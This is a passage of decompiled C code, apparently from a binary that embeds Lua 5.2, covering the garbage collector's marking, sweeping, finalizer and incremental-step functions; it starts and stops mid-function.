v6; // eax@2 GCObject *v7; // ecx@5 Node *j; // esi@8 int v9; // eax@9 int v10; // ecx@9 int v11; // eax@20 v2 = h; v3 = 0; for ( i = &h->node[1 << h->lsizenode]; v3 < v2->sizearray; ++v3 ) { v5 = v2->array; v6 = v5[v3].u.i.tt__; if ( (v5[v3].u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v6) = 3; if ( v6 & 0x40 ) { v7 = v5[v3].u.i.v__.gc; if ( v7->gch.marked & 3 ) reallymarkobject(g, v7); } } for ( j = v2->node; j < i; ++j ) { v9 = j->i_key.nk.u.i.tt__; v10 = j->i_key.nk.u.i.tt__; if ( j->i_val.u.i.tt__ == 2146936064 ) { if ( (v10 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v9) = 3; if ( v9 & 0x40 ) { if ( j->i_key.nk.u.i.v__.gc->gch.marked & 3 ) j->i_key.nk.u.i.tt__ = 2146936075; } } else { if ( (v10 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v9) = 3; if ( v9 & 0x40 && j->i_key.nk.u.i.v__.gc->gch.marked & 3 ) reallymarkobject(g, j->i_key.nk.u.i.v__.gc); v11 = j->i_val.u.i.tt__; if ( (j->i_val.u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v11) = 3; if ( v11 & 0x40 && j->i_val.u.i.v__.gc->gch.marked & 3 ) reallymarkobject(g, j->i_val.u.i.v__.gc); } } } //----- (005B4320) -------------------------------------------------------- int __usercall traverseproto(global_State *g, Proto *f) { global_State *v2; // ebx@1 Closure *v3; // eax@1 int v4; // ebp@1 TString *v5; // eax@4 int i; // edi@7 lua_TValue *v7; // ecx@8 int v8; // eax@8 GCObject *v9; // ecx@11 int j; // edi@14 TString *v11; // eax@15 int k; // edi@19 Proto **v13; // ecx@20 Proto *v14; // eax@20 int v15; // edi@25 LocVar *v16; // edx@26 TString *v17; // eax@26 v2 = g; v3 = f->cache; v4 = 0; if ( v3 && v3->c.marked & 3 ) f->cache = 0; v5 = f->source; if ( v5 && BYTE5(v5->dummy.u) & 3 ) reallymarkobject(v2, (GCObject *)f->source); for ( i = 0; i < f->sizek; ++i ) { v7 = &f->k[i]; v8 = v7->u.i.tt__; if ( (v7->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v8) = 3; if ( v8 & 0x40 ) { v9 = v7->u.i.v__.gc; if ( v9->gch.marked & 3 ) reallymarkobject(v2, v9); } } for ( j = 0; j < f->sizeupvalues; ++j ) { v11 = f->upvalues[j].name; if ( v11 && BYTE5(v11->dummy.u) & 3 ) reallymarkobject(v2, (GCObject *)f->upvalues[j].name); } for ( k = 0; k < f->sizep; ++k ) { v13 = f->p; v14 = v13[k]; if ( v14 && v14->marked & 3 ) reallymarkobject(v2, (GCObject *)&v13[k]->next); } if ( f->sizelocvars > 0 ) { v15 = 0; do { v16 = f->locvars; v17 = v16[v15].varname; if ( v17 && BYTE5(v17->dummy.u) & 3 ) reallymarkobject(v2, (GCObject *)v16[v15].varname); ++v4; ++v15; } while ( v4 < f->sizelocvars ); } return 4 * (f->sizep + f->sizecode + f->sizelineinfo + 3 * f->sizelocvars + 2 * (f->sizeupvalues + f->sizek) + 20); } //----- (005B4450) -------------------------------------------------------- unsigned int __cdecl traverseCclosure(global_State *g, CClosure *cl) { signed int v2; // edi@1 char *v3; // esi@2 int v4; // eax@3 v2 = 0; if ( cl->nupvalues ) { v3 = (char *)cl->upvalue; do { v4 = *((_DWORD *)v3 + 1); if ( (*((_DWORD *)v3 + 1) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; if ( v4 & 0x40 && *(_BYTE *)(*(_DWORD *)v3 + 5) & 3 ) reallymarkobject(g, *(GCObject **)v3); ++v2; v3 += 8; } while ( v2 < cl->nupvalues ); } return 8 * cl->nupvalues + 16; } //----- (005B44C0) -------------------------------------------------------- unsigned int __usercall traverseLclosure(global_State *g, LClosure *cl) { Proto *v2; // eax@1 signed int v3; // edi@4 GCObject **v4; // esi@5 v2 = cl->p; if ( v2 && v2->marked & 3 ) reallymarkobject(g, (GCObject *)&cl->p->next); v3 = 0; if ( cl->nupvalues ) { v4 = (GCObject **)cl->upvals; do { if ( *v4 && (*v4)->gch.marked & 3 ) reallymarkobject(g, *v4); ++v3; ++v4; } while ( v3 < cl->nupvalues ); } return 4 * cl->nupvalues + 16; } //----- (005B4530) -------------------------------------------------------- unsigned int __usercall traversestack(lua_State *th, global_State *g) { lua_TValue *v2; // esi@1 unsigned int result; // eax@2 int v4; // eax@4 lua_TValue *i; // eax@11 v2 = th->stack; if ( v2 ) { for ( ; v2 < th->top; ++v2 ) { v4 = v2->u.i.tt__; if ( (v2->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; if ( v4 & 0x40 && v2->u.i.v__.gc->gch.marked & 3 ) reallymarkobject(g, v2->u.i.v__.gc); } if ( g->gcstate == 1 ) { for ( i = &th->stack[th->stacksize]; v2 < i; ++v2 ) v2->u.i.tt__ = 2146936064; } result = 8 * th->stacksize + 112; } else { result = 1; } return result; } //----- (005B45C0) -------------------------------------------------------- void __usercall freeobj(lua_State *L, GCObject *o) { switch ( o->gch.tt ) { case 9: luaF_freeproto(L, (Proto *)o); break; case 6: luaM_realloc_(L, o, 4 * *(&o->gch.marked + 1) + 16, 0); break; case 0x26: luaM_realloc_(L, o, 8 * *(&o->gch.marked + 1) + 16, 0); break; case 0xA: luaF_freeupval(L, (UpVal *)o); break; case 5: luaH_free(L, (Table *)o); break; case 8: luaE_freethread(L, (lua_State *)o); break; case 7: luaM_realloc_(L, o, o->u.uv.len + 24, 0); break; case 4: --L->l_G->strt.nuse; goto $L2693; case 0x14: $L2693: luaM_realloc_(L, o, o->ts.tsv.len + 17, 0); break; default: return; } } //----- (005B46C0) -------------------------------------------------------- GCObject **__cdecl sweeplist(lua_State *L, GCObject **p, unsigned int count) { lua_State *v3; // ebp@1 global_State *v4; // ecx@1 int v5; // edx@1 char v6; // al@2 GCObject **v7; // edi@4 bool v9; // zf@7 GCObject *v10; // esi@8 int v11; // ebx@8 char toclear; // [sp+10h] [bp-Ch]@2 char toset; // [sp+14h] [bp-8h]@4 int ow; // [sp+18h] [bp-4h]@1 signed int La; // [sp+20h] [bp+4h]@2 v3 = L; v4 = L->l_G; v5 = v4->currentwhite ^ 3; ow = v4->currentwhite ^ 3; if ( v4->gckind == 2 ) { v6 = 64; toclear = -1; La = 64; } else { toclear = -72; v6 = v4->currentwhite & 3; La = 0; } v7 = p; toset = v6; if ( *p ) { while ( 1 ) { v9 = count-- == 0; if ( v9 ) break; v10 = *v7; v11 = (*v7)->gch.marked; if ( ((*v7)->gch.marked ^ 3) & v5 ) { if ( v11 & La ) return 0; if ( v10->gch.tt == 8 && v10->h.sizearray ) { sweeplist(v3, (GCObject **)&v10->p.sizep, 0xFFFFFFFDu); luaE_freeCI((lua_State *)v10); if ( v3->l_G->gckind != 1 ) luaD_shrinkstack((lua_State *)v10); } v10->gch.marked = toset | toclear & v11; v7 = (GCObject **)v10; } else { *v7 = v10->gch.next; freeobj(v3, v10); } if ( !*v7 ) return 0; v5 = ow; } } return (GCObject **)(*v7 != 0 ? (int)v7 : 0); } //----- (005B47D0) -------------------------------------------------------- void __usercall checkSizes(lua_State *L) { global_State *v1; // esi@1 v1 = L->l_G; if ( v1->gckind != 1 ) { if ( v1->strt.nuse < v1->strt.size / 2 ) luaS_resize(L, v1->strt.size / 2); v1->buff.buffer = (char *)luaM_realloc_(L, v1->buff.buffer, v1->buff.buffsize, 0); v1->buff.buffsize = 0; } } //----- (005B4840) -------------------------------------------------------- void __usercall GCTM(lua_State *L, int propagateerrors) { global_State *v2; // edi@1 int v3; // eax@1 GCObject *v4; // edx@1 char v5; // bl@1 lua_TValue *v6; // eax@4 char v7; // cl@6 char v8; // bl@6 lua_TValue *v9; // edx@6 char v10; // ST1C_1@6 lua_TValue *v11; // ecx@6 lua_TValue *v12; // ecx@6 lua_TValue *v13; // eax@6 signed int v14; // eax@6 int v; // [sp+Ch] [bp-8h]@4 int v16; // [sp+10h] [bp-4h]@4 v2 = L->l_G; v3 = (int)v2->tobefnz; v4 = v2->allgc; v2->tobefnz = *(GCObject **)v3; *(_DWORD *)v3 = v4; v2->allgc = (GCObject *)v3; v5 = *(_BYTE *)(v3 + 5) & 0xEF; *(_BYTE *)(v3 + 5) = v5; if ( v2->gckind != 2 && v2->gcstate > 1u ) *(_BYTE *)(v3 + 5) = v5 & 0xB8 | v2->currentwhite & 3; v = v3; v16 = *(_BYTE *)(v3 + 4) | 0x7FF7A540; v6 = luaT_gettmbyobj(L, (lua_TValue *)&v, TM_GC); if ( v6 ) { if ( (v6->u.i.tt__ | 0x70) == 2146936182 ) { v7 = v2->gcrunning; v8 = L->allowhook; L->allowhook = 0; v2->gcrunning = 0; v9 = L->top; v10 = v7; v9->u.i.v__.gc = v6->u.i.v__.gc; v9->u.i.tt__ = v6->u.i.tt__; v11 = L->top; v11[1].u.i.v__.gc = (GCObject *)v; v11[1].u.i.tt__ = v16; v12 = L->stack; v13 = L->top + 2; L->top = v13; v14 = luaD_pcall(L, dothecall, 0, (char *)v13 - (char *)v12 - 16, 0); L->allowhook = v8; v2->gcrunning = v10; if ( v14 ) { if ( propagateerrors ) { if ( v14 == 2 ) { luaO_pushfstring(L, "error in __gc metamethod (%s)"); v14 = 5; } luaD_throw(L, v14); } } } } } //----- (005B4970) -------------------------------------------------------- void __cdecl luaC_checkfinalizer(lua_State *L, GCObject *o, Table *mt) { global_State *v3; // edi@1 GCObject **v4; // eax@5 GCObject **v5; // ebx@6 GCObject *v6; // eax@9 int i; // ecx@9 char v8; // dl@11 v3 = L->l_G; if ( !(o->gch.marked & 0x18) && mt && !(mt->flags & 4) && luaT_gettm(mt, TM_GC, v3->tmname[2]) ) { v4 = v3->sweepgc; if ( (GCObject *)v4 == o ) { v5 = v3->sweepgc; do v4 = sweeplist(L, v4, 1u); while ( v4 == v5 ); v3->sweepgc = v4; } v6 = v3->allgc; for ( i = (int)&v3->allgc; v6 != o; v6 = v6->gch.next ) i = (int)v6; *(_DWORD *)i = o->gch.next; o->gch.next = v3->finobj; v3->finobj = o; v8 = o->gch.marked | 0x10; o->gch.marked = v8; if ( v3->gckind == 2 || v3->gcstate <= 1u ) o->gch.marked = v8 & 0xBF; else o->gch.marked = v8 & 0xB8 | v3->currentwhite & 3; } } //----- (005B4A30) -------------------------------------------------------- int __usercall entersweep(lua_State *L) { global_State *v1; // esi@1 int v2; // ebp@1 GCObject **v3; // eax@1 GCObject **v4; // eax@3 int v5; // ebx@3 v1 = L->l_G; v2 = 0; v3 = &v1->finobj; v1->gcstate = 2; v1->sweepstrgc = 0; do { ++v2; v3 = sweeplist(L, v3, 1u); } while ( v3 == &v1->finobj ); v1->sweepfin = v3; v4 = &v1->allgc; v5 = 0; do { ++v5; v4 = sweeplist(L, v4, 1u); } while ( v4 == &v1->allgc ); v1->sweepgc = v4; return v5 + v2; } //----- (005B4A90) -------------------------------------------------------- void __usercall callallpendingfinalizers(lua_State *L, int propagateerrors) { lua_State *v2; // esi@1 global_State *v3; // edi@1 v2 = L; v3 = L->l_G; while ( v3->tobefnz ) { v3->tobefnz->gch.marked &= 0xBFu; GCTM(v2, propagateerrors); } } //----- (005B4AD0) -------------------------------------------------------- void __cdecl luaC_freeallobjects(lua_State *L) { global_State *v1; // esi@1 int v2; // eax@1 int i; // ecx@1 int j; // eax@3 GCObject *v5; // edi@4 int k; // edi@5 v1 = L->l_G; v2 = (int)v1->tobefnz; for ( i = (int)&v1->tobefnz; v2; v2 = *(_DWORD *)v2 ) i = v2; for ( j = (int)v1->finobj; j; j = (int)v1->finobj ) { v5 = *(GCObject **)j; *(_BYTE *)(j + 5) |= 8u; v1->finobj = v5; *(_DWORD *)j = *(_DWORD *)i; *(_DWORD *)i = j; i = j; } callallpendingfinalizers(L, 0); v1->currentwhite = 3; v1->gckind = 0; sweeplist(L, &v1->finobj, 0xFFFFFFFDu); sweeplist(L, &v1->allgc, 0xFFFFFFFDu); for ( k = 0; k < v1->strt.size; ++k ) sweeplist(L, &v1->strt.hash[k], 0xFFFFFFFDu); } //----- (005B4B60) -------------------------------------------------------- int __usercall iscleared(lua_TValue *o, global_State *g) { int v2; // eax@1 char v3; // cl@2 bool v4; // zf@5 GCObject *v5; // eax@5 v2 = o->u.i.tt__; if ( (o->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) v3 = v2; else v3 = 3; if ( !(v3 & 0x40) ) return 0; v4 = (v2 | 0x70) == 2146936180; v5 = o->u.i.v__.gc; if ( v4 ) { if ( v5 ) { if ( v5->gch.marked & 3 ) reallymarkobject(g, v5); } return 0; } return v5->gch.marked & 3; } //----- (005B4BC0) -------------------------------------------------------- void __cdecl luaC_barrier_(lua_State *L, GCObject *o, GCObject *v) { global_State *v3; // eax@1 v3 = L->l_G; if ( v3->gckind == 2 || v3->gcstate <= 1u ) reallymarkobject(v3, v); else o->gch.marked = o->gch.marked & 0xB8 | v3->currentwhite & 3; } //----- (005B4C00) -------------------------------------------------------- void __cdecl luaC_barrierproto_(lua_State *L, Proto *p, Closure *c) { global_State *v3; // ecx@1 v3 = L->l_G; if ( p->cache ) { p->marked &= 0xFBu; p->gclist = v3->grayagain; v3->grayagain = (GCObject *)p; } else { if ( c->c.marked & 3 ) { if ( p->marked & 4 ) luaC_barrier_(L, (GCObject *)&p->next, (GCObject *)&c->c.next); } } } //----- (005B4C50) -------------------------------------------------------- void __cdecl luaC_checkupvalcolor(global_State *g, UpVal *uv) { char v2; // al@1 lua_TValue *v3; // ecx@5 int v4; // eax@5 GCObject *v5; // ecx@8 v2 = uv->marked; if ( !(v2 & 7) ) { if ( g->gckind == 2 || g->gcstate <= 1u ) { uv->marked = v2 & 0xBF | 4; v3 = uv->v; v4 = v3->u.i.tt__; if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; if ( v4 & 0x40 ) { v5 = v3->u.i.v__.gc; if ( v5->gch.marked & 3 ) reallymarkobject(g, v5); } } else { uv->marked = v2 & 0xB8 | g->currentwhite & 3; } } } //----- (005B4CC0) -------------------------------------------------------- void __usercall traverseweakvalue(Table *h, global_State *g) { int v2; // ecx@1 Node *v3; // esi@1 int v4; // ebp@1 signed int v5; // ebx@1 int v6; // eax@2 int v7; // ecx@2 v2 = h->sizearray; v3 = h->node; v4 = (int)&v3[1 << h->lsizenode]; v5 = v2 < 0; for ( LOBYTE(v5) = v2 > 0; (unsigned int)v3 < v4; ++v3 ) { v6 = v3->i_key.nk.u.i.tt__; v7 = v3->i_key.nk.u.i.tt__; if ( v3->i_val.u.i.tt__ == 2146936064 ) { if ( (v7 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v6) = 3; if ( v6 & 0x40 && v3->i_key.nk.u.i.v__.gc->gch.marked & 3 ) v3->i_key.nk.u.i.tt__ = 2146936075; } else { if ( (v7 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v6) = 3; if ( v6 & 0x40 && v3->i_key.nk.u.i.v__.gc->gch.marked & 3 ) reallymarkobject(g, v3->i_key.nk.u.i.v__.gc); if ( !v5 && iscleared(g, &v3->i_val) ) v5 = 1; } } if ( v5 ) { h->gclist = g->weak; g->weak = (GCObject *)h; } else { h->gclist = g->grayagain; g->grayagain = (GCObject *)h; } } //----- (005B4DB0) -------------------------------------------------------- int __usercall traverseephemeron(global_State *g, Table *h) { int v2; // esi@1 int v3; // ebp@1 lua_TValue *v4; // ecx@2 int v5; // eax@2 GCObject *v6; // ecx@5 Node *v7; // esi@8 int v8; // eax@9 int v9; // edx@9 int v10; // ecx@9 char v11; // cl@16 bool v12; // zf@19 GCObject *v13; // eax@19 int v14; // eax@23 int result; // eax@36 Node *limit; // [sp+8h] [bp-10h]@1 signed int prop; // [sp+Ch] [bp-Ch]@1 signed int hasclears; // [sp+10h] [bp-8h]@1 v2 = 0; v3 = 0; hasclears = 0; prop = 0; for ( limit = &h->node[1 << h->lsizenode]; v2 < h->sizearray; ++v2 ) { v4 = &h->array[v2]; v5 = v4->u.i.tt__; if ( (v4->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v5) = 3; if ( v5 & 0x40 ) { v6 = v4->u.i.v__.gc; if ( v6->gch.marked & 3 ) { v3 = 1; reallymarkobject(g, v6); } } } v7 = h->node; if ( v7 >= limit ) goto LABEL_39; do { v8 = v7->i_key.nk.u.i.tt__; v9 = v7->i_val.u.i.tt__; v10 = v7->i_key.nk.u.i.tt__ & 0x7FFFFF00; if ( v9 == 2146936064 ) { if ( v10 != 2146936064 ) LOBYTE(v8) = 3; if ( v8 & 0x40 ) { if ( v7->i_key.nk.u.i.v__.gc->gch.marked & 3 ) v7->i_key.nk.u.i.tt__ = 2146936075; } goto LABEL_34; } if ( v10 == 2146936064 ) v11 = v8; else v11 = 3; if ( !(v11 & 0x40) ) goto LABEL_23; v12 = (v8 | 0x70) == 2146936180; v13 = v7->i_key.nk.u.i.v__.gc; if ( v12 ) { if ( v13 && v13->gch.marked & 3 ) reallymarkobject(g, v7->i_key.nk.u.i.v__.gc); LABEL_23: v14 = v7->i_val.u.i.tt__; if ( (v7->i_val.u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v14) = 3; if ( v14 & 0x40 && v7->i_val.u.i.v__.gc->gch.marked & 3 ) { v3 = 1; reallymarkobject(g, v7->i_val.u.i.v__.gc); } goto LABEL_34; } if ( !(v13->gch.marked & 3) ) goto LABEL_23; hasclears = 1; if ( (v9 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v9) = 3; if ( v9 & 0x40 && v7->i_val.u.i.v__.gc->gch.marked & 3 ) prop = 1; LABEL_34: ++v7; } while ( v7 < limit ); if ( prop ) { h->gclist = g->ephemeron; result = v3; g->ephemeron = (GCObject *)h; return result; } if ( hasclears ) { h->gclist = g->allweak; result = v3; g->allweak = (GCObject *)h; return result; } LABEL_39: h->gclist = g->grayagain; result = v3; g->grayagain = (GCObject *)h; return result; } //----- (005B4F90) -------------------------------------------------------- unsigned int __usercall traversetable(global_State *g, Table *h) { Table *v2; // edi@1 Table *v3; // eax@1 global_State *v4; // ebx@1 lua_TValue *v5; // esi@2 Table *v6; // eax@6 char *v7; // ebp@11 char *v8; // eax@11 v2 = h; v3 = h->metatable; v4 = g; if ( v3 ) { if ( v3->flags & 8 ) v5 = 0; else v5 = luaT_gettm(v3, TM_MODE, g->tmname[3]); } else { v5 = 0; } v6 = v2->metatable; if ( v6 && v6->marked & 3 ) reallymarkobject(v4, (GCObject *)&v2->metatable->next); if ( v5 && (v5->u.i.tt__ | 0x70) == 2146936180 && ((v7 = strchr((const char *)&v5->u.i.v__.gc->u.uv.len, 107), v8 = strchr((const char *)&v5->u.i.v__.gc->u.uv.len, 118), v7) || v8) ) { v2->marked &= 0xFBu; if ( v7 ) { if ( v8 ) { v2->gclist = v4->allweak; v4->allweak = (GCObject *)v2; } else { traverseephemeron(v4, v2); } } else { traverseweakvalue(v4, v2); } } else { traversestrongtable(v4, v2); } return 8 * (v2->sizearray + 3 * (1 << v2->lsizenode)) + 32; } //----- (005B5070) -------------------------------------------------------- void __usercall propagatemark(global_State *g) { global_State *v1; // ebx@1 GCObject *v2; // eax@1 int v3; // edx@5 v1 = g; v2 = g->gray; v2->gch.marked |= 4u; switch ( v2->gch.tt ) { case 5: v1->gray = v2->h.gclist; v1->GCmemtrav += traversetable(v1, (Table *)v2); break; case 6: v1->gray = (GCObject *)v2->ts.tsv.hash; v1->GCmemtrav += traverseLclosure(v1, (LClosure *)v2); break; case 0x26: v1->gray = (GCObject *)v2->ts.tsv.hash; v1->GCmemtrav += traverseCclosure(v1, (CClosure *)v2); break; case 8: v3 = (int)v1->grayagain; v1->gray = (GCObject *)v2->p.sizelocvars; v2->p.sizelocvars = v3; v1->grayagain = v2; v2->gch.marked &= 0xFBu; v1->GCmemtrav += traversestack(v1, (lua_State *)v2); break; case 9: v1->gray = v2->p.gclist; v1->GCmemtrav += traverseproto(v1, (Proto *)v2); break; default: return; } } //----- (005B5170) -------------------------------------------------------- void __usercall retraversegrays(global_State *g) { GCObject *v1; // ebp@1 GCObject *v2; // eax@1 GCObject *v3; // edi@1 GCObject *ephemeron; // [sp+8h] [bp-4h]@1 v1 = g->weak; ephemeron = g->ephemeron; v2 = g->gray; v3 = g->grayagain; g->ephemeron = 0; g->grayagain = 0; g->weak = 0; if ( v2 ) { do propagatemark(g); while ( g->gray ); } g->gray = v3; while ( g->gray ) propagatemark(g); g->gray = v1; while ( g->gray ) propagatemark(g); g->gray = ephemeron; while ( g->gray ) propagatemark(g); } //----- (005B5200) -------------------------------------------------------- void __usercall convergeephemerons(global_State *g) { global_State *v1; // ebx@1 GCObject *v2; // esi@2 signed int v3; // ebp@2 Table *v4; // edi@2 v1 = g; do { v2 = v1->ephemeron; v3 = 0; v1->ephemeron = 0; v4 = (Table *)v2; if ( !v2 ) break; do { v2 = v2->h.gclist; if ( traverseephemeron(v1, v4) ) { while ( v1->gray ) propagatemark(v1); v3 = 1; } v4 = (Table *)v2; } while ( v2 ); } while ( v3 ); } //----- (005B5250) -------------------------------------------------------- void __cdecl clearkeys(global_State *g, GCObject *l, GCObject *f) { GCObject *i; // ebp@1 unsigned int v4; // esi@2 int j; // edi@2 int v6; // eax@4 char v7; // cl@5 bool v8; // zf@8 int v9; // eax@8 int v10; // eax@13 int v11; // edx@13 for ( i = l; i != f; i = i->h.gclist ) { v4 = i->u.uv.len; for ( j = v4 + 24 * (1 << *(&i->gch.marked + 2)); v4 < j; v4 += 24 ) { if ( *(_DWORD *)(v4 + 4) != 2146936064 ) { v6 = *(_DWORD *)(v4 + 12); v7 = (*(_DWORD *)(v4 + 12) & 0x7FFFFF00) == 2146936064 ? (_BYTE)v6 : 3; if ( v7 & 0x40 ) { v8 = (v6 | 0x70) == 2146936180; v9 = *(_DWORD *)(v4 + 8); if ( v8 ) { if ( v9 ) { if ( *(_BYTE *)(v9 + 5) & 3 ) reallymarkobject(g, *(GCObject **)(v4 + 8)); } } else { if ( *(_BYTE *)(v9 + 5) & 3 ) { v10 = *(_DWORD *)(v4 + 12); v11 = *(_DWORD *)(v4 + 12) & 0x7FFFFF00; *(_DWORD *)(v4 + 4) = 2146936064; if ( v11 != 2146936064 ) LOBYTE(v10) = 3; if ( v10 & 0x40 && *(_BYTE *)(*(_DWORD *)(v4 + 8) + 5) & 3 ) *(_DWORD *)(v4 + 12) = 2146936075; } } } } } } } //----- (005B5340) -------------------------------------------------------- void __usercall clearvalues(GCObject *l, global_State *g, GCObject *f) { GCObject *i; // edi@1 int v4; // esi@2 int j; // ebx@2 unsigned int v6; // edx@3 int v7; // eax@3 int v8; // ecx@3 char v9; // dl@4 int v10; // ecx@8 unsigned int k; // esi@14 int v12; // eax@15 char v13; // cl@17 bool v14; // zf@20 GCObject *v15; // eax@20 int v16; // eax@25 int v17; // edx@25 for ( i = l; i != f; i = i->h.gclist ) { v4 = 0; for ( j = i->u.uv.len + 24 * (1 << *(&i->gch.marked + 2)); v4 < i->h.sizearray; ++v4 ) { v6 = i->ts.tsv.len; v7 = *(_DWORD *)(v6 + 8 * v4 + 4); v8 = v6 + 8 * v4; if ( (*(_DWORD *)(v6 + 8 * v4 + 4) & 0x7FFFFF00) == 2146936064 ) v9 = v7; else v9 = 3; if ( v9 & 0x40 ) { if ( (v7 | 0x70) == 2146936180 ) { v10 = *(_DWORD *)v8; if ( v10 && *(_BYTE *)(v10 + 5) & 3 ) reallymarkobject(g, (GCObject *)v10); } else { if ( *(_BYTE *)(*(_DWORD *)v8 + 5) & 3 ) *(_DWORD *)(v8 + 4) = 2146936064; } } } for ( k = i->u.uv.len; k < j; k += 24 ) { v12 = *(_DWORD *)(k + 4); if ( v12 != 2146936064 ) { v13 = (v12 & 0x7FFFFF00) == 2146936064 ? (_BYTE)v12 : 3; if ( v13 & 0x40 ) { v14 = (v12 | 0x70) == 2146936180; v15 = *(GCObject **)k; if ( v14 ) { if ( v15 ) { if ( v15->gch.marked & 3 ) reallymarkobject(g, *(GCObject **)k); } } else { if ( v15->gch.marked & 3 ) { v16 = *(_DWORD *)(k + 12); v17 = *(_DWORD *)(k + 12) & 0x7FFFFF00; *(_DWORD *)(k + 4) = 2146936064; if ( v17 != 2146936064 ) LOBYTE(v16) = 3; if ( v16 & 0x40 && *(_BYTE *)(*(_DWORD *)(k + 8) + 5) & 3 ) *(_DWORD *)(k + 12) = 2146936075; } } } } } } } //----- (005B54A0) -------------------------------------------------------- int __usercall atomic(lua_State *L) { global_State *v1; // esi@1 int v2; // ebp@1 int v3; // eax@3 int v4; // ebp@10 int v5; // ebp@10 global_State *v6; // eax@10 int v7; // ebp@10 int v8; // ecx@10 int v9; // edi@10 int v10; // eax@10 int i; // eax@12 char v12; // dl@13 GCObject *j; // edi@17 int v14; // ebp@21 unsigned int v15; // eax@21 GCObject *origweak; // [sp+8h] [bp-8h]@10 GCObject *origall; // [sp+Ch] [bp-4h]@10 v1 = L->l_G; v2 = -v1->GCmemtrav; if ( L->marked & 3 ) reallymarkobject(v1, (GCObject *)&L->next); v3 = v1->l_registry.u.i.tt__; if ( (v1->l_registry.u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; if ( v3 & 0x40 && v1->l_registry.u.i.v__.gc->gch.marked & 3 ) reallymarkobject(v1, v1->l_registry.u.i.v__.gc); markmt(v1); remarkupvals(v1); while ( v1->gray ) propagatemark(v1); v4 = v1->GCmemtrav + v2; retraversegrays(v1); v5 = v4 - v1->GCmemtrav; convergeephemerons(v1); clearvalues(v1, v1->weak, 0); clearvalues(v1, v1->allweak, 0); origall = v1->allweak; v6 = L->l_G; v7 = v1->GCmemtrav + v5; v8 = (int)&v6->tobefnz; v9 = (int)&v6->finobj; v10 = (int)v6->tobefnz; for ( origweak = v1->weak; v10; v10 = *(_DWORD *)v10 ) v8 = v10; for ( i = *(_DWORD *)v9; *(_DWORD *)v9; i = *(_DWORD *)v9 ) { v12 = *(_BYTE *)(i + 5); if ( v12 & 3 ) { *(_BYTE *)(i + 5) = v12 | 8; *(_DWORD *)v9 = *(_DWORD *)i; *(_DWORD *)i = *(_DWORD *)v8; *(_DWORD *)v8 = i; v8 = i; } else { v9 = i; } } for ( j = v1->tobefnz; j; j = j->gch.next ) { j->gch.marked = v1->currentwhite & 3 | j->gch.marked & 0xB8; reallymarkobject(v1, j); } while ( v1->gray ) propagatemark(v1); v14 = v7 - v1->GCmemtrav; convergeephemerons(v1); clearkeys(v1, v1->ephemeron, 0); clearkeys(v1, v1->allweak, 0); clearvalues(v1, v1->weak, origweak); clearvalues(v1, v1->allweak, origall); v15 = v1->GCmemtrav; v1->currentwhite ^= 3u; return v14 + v15; } //----- (005B5640) -------------------------------------------------------- unsigned int __usercall singlestep(lua_State *L) { lua_State *v1; // edi@1 global_State *v2; // esi@1 char v3; // al@2 unsigned int result; // eax@4 unsigned int v5; // edi@6 unsigned int v6; // eax@7 int v7; // eax@7 int v8; // ebx@7 int v9; // eax@7 signed int v10; // ebp@8 int v11; // ecx@9 int v12; // ecx@11 int v13; // eax@11 GCObject **v14; // eax@14 GCObject **v15; // eax@18 lua_State *mt; // [sp+10h] [bp-4h]@20 v1 = L; v2 = L->l_G; switch ( v2->gcstate ) { case 5: v3 = v2->gckind; v2->GCmemtrav = 0; if ( v3 != 2 ) markroot(v2); result = v2->GCmemtrav; v2->gcstate = 0; break; case 0: if ( v2->gray ) { v5 = v2->GCmemtrav; propagatemark(v2); result = v2->GCmemtrav - v5; } else { v6 = v2->GCmemtrav; v2->gcstate = 1; v2->GCestimate = v6; v7 = atomic(v1); v8 = v7; v2->GCestimate += v7; v9 = entersweep(v1); result = v9 + v8 + 4 * v9; } break; case 2: v10 = 0; do { v11 = v2->sweepstrgc; if ( v11 + v10 >= v2->strt.size ) break; sweeplist(v1, &v2->strt.hash[v11 + v10++], 0xFFFFFFFDu); } while ( v10 < 80 ); v12 = v2->strt.size; v13 = v10 + v2->sweepstrgc; v2->sweepstrgc = v13; if ( v13 >= v12 ) v2->gcstate = 3; result = 5 * v10; break; case 3: v14 = v2->sweepfin; if ( !v14 ) { v2->gcstate = 4; goto LABEL_17; } v2->sweepfin = sweeplist(v1, v14, 0x50u); result = 400; break; default: LABEL_17: result = 0; break; case 4: v15 = v2->sweepgc; if ( v15 ) { v2->sweepgc = sweeplist(v1, v15, 0x50u); result = 400; } else { mt = v2->mainthread; sweeplist(v1, (GCObject **)&mt, 1u); checkSizes(v1); v2->gcstate = 5; result = 5; } break; } return result; } //----- (005B57B0) -------------------------------------------------------- void __cdecl luaC_runtilstate(lua_State *L, int statesmask) { global_State *v2; // esi@1 v2 = L->l_G; while ( !((1 << v2->gcstate) & statesmask) ) singlestep(L); } //----- (005B57F0) -------------------------------------------------------- void __usercall incstep(lua_State *L) { global_State *v1; // edi@1 signed int v2; // ebp@1 int v3; // ecx@3 signed int v4; // esi@4 v1 = L->l_G; v2 = v1->gcstepmul; if ( v2 < 40 ) v2 = 40; v3 = v1->GCdebt / 200 + 1; if ( v3 >= 2147483644 / v2 ) v4 = 2147483644; else v4 = v3 * v2; do v4 -= singlestep(L); while ( v4 > -1600 && v1->gcstate != 5 ); if ( v1->gcstate == 5 ) luaE_setdebt(v1, -(v1->gcpause * v1->GCestimate / 0xC8)); else luaE_setdebt(v1, 200 * v4 / v2); } //----- (005B5890) -------------------------------------------------------- void __cdecl luaC_fullgc(lua_State *L, int isemergency) { global_State *v2; // esi@1 int v3; // ebx@1 int v4; // ebp@3 int v5; // ST14_4@12 v2 = L->l_G; v3 = 